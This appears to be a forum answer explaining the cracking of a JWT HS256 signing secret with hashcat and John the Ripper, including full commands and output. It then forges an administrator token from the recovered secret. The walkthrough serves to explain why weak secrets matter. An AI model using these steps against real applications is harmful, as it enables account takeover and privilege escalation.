Hashcat allows you to crack multiple formats including the one you mentioned (JWT HS256
) and the strength of it relies on the secret
.
If the web application is using a strong secret, it can take a very long time to crack. You can optimize the probability of success by building custom dictionaries if you know any additional information about how the secret was generated.
As you do not know how far or close you are of the right answer, it is very hard to know how long will it take to crack it. You can get an estimate time of how long will it take to process a certain dictionary or certain rules.
Here is an example. Let's suppose we have the following JWT HS256:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.GXWX72f5PQi4unRvF3eh6oPziUUr_iVxMyUL5NFlulU

As you can see in the image. It says Invalid Signature
, because we do not have the right secret. Now, we will try to crack it by using hashcat
and john
with the dictionary rockyou.txt
.
Hashcat:
jwt_token.txt:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.GXWX72f5PQi4unRvF3eh6oPziUUr_iVxMyUL5NFlulU:9897
Hashcat Command:
┌──(galoget㉿hackem)-[~]
└─$ hashcat -m 16500 -a 0 jwt_token.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.GXWX72f5PQi4unRvF3eh6oPziUUr_iVxMyUL5NFlulU:9897
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaW...NFlulU
Time.Started.....: Tue Jun 18 10:31:04 2022 (15 secs)
Time.Estimated...: Tue Jun 18 10:31:19 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 772.1 kH/s (1.77ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 11528192/14344385 (80.37%)
Rejected.........: 0/11528192 (0.00%)
Restore.Point....: 11526144/14344385 (80.35%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 98io98io -> 989197
Hardware.Mon.#1..: Util: 72%
Started: Tue Jun 18 10:30:03 2022
Stopped: Tue Jun 18 10:31:20 2022
From the previous output we can see that the secret
for this JWT was cracked and its value is: 9897
.
John The Ripper:
Let's repeat the exercise with john
. We will use the same input file from the previous command.
John Command:
┌──(galoget㉿hackem)-[~]
└─$ john jwt_token.txt -w=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
9897 (?)
1g 0:00:00:03 DONE (2022-06-18 10:34) 0.2597g/s 2995Kp/s 2995Kc/s 2995KC/s 98992243..985824
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Again, the secret
was found with this tool. Now, we can set the secret in the JWT website to verify the signature.

We can see that the page shows: Signature Verified
, meaning we can forge tokens with it.
For our example we will change the id
. Let's assume the web application identifies the user by this id
.
id = 2 --> John Doe (Low-privileged User)
id = 1 --> Administrator
By doing this change, we get the following token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.inohRq76BxY5pU3wML1YgiLc6rhs0Dz9fsbZ2DvnOpc

As you see in this example. The only thing preventing an attacker to take over any account is the secret. If the secret is a random string (Uppercase + lowercase characteres, numbers, symbols). The only mechanism to crack it will be via brute-force or by building a custom dictionary and even with this, it can take from a few seconds to a lot of years, depending on its value.
Hope it helps.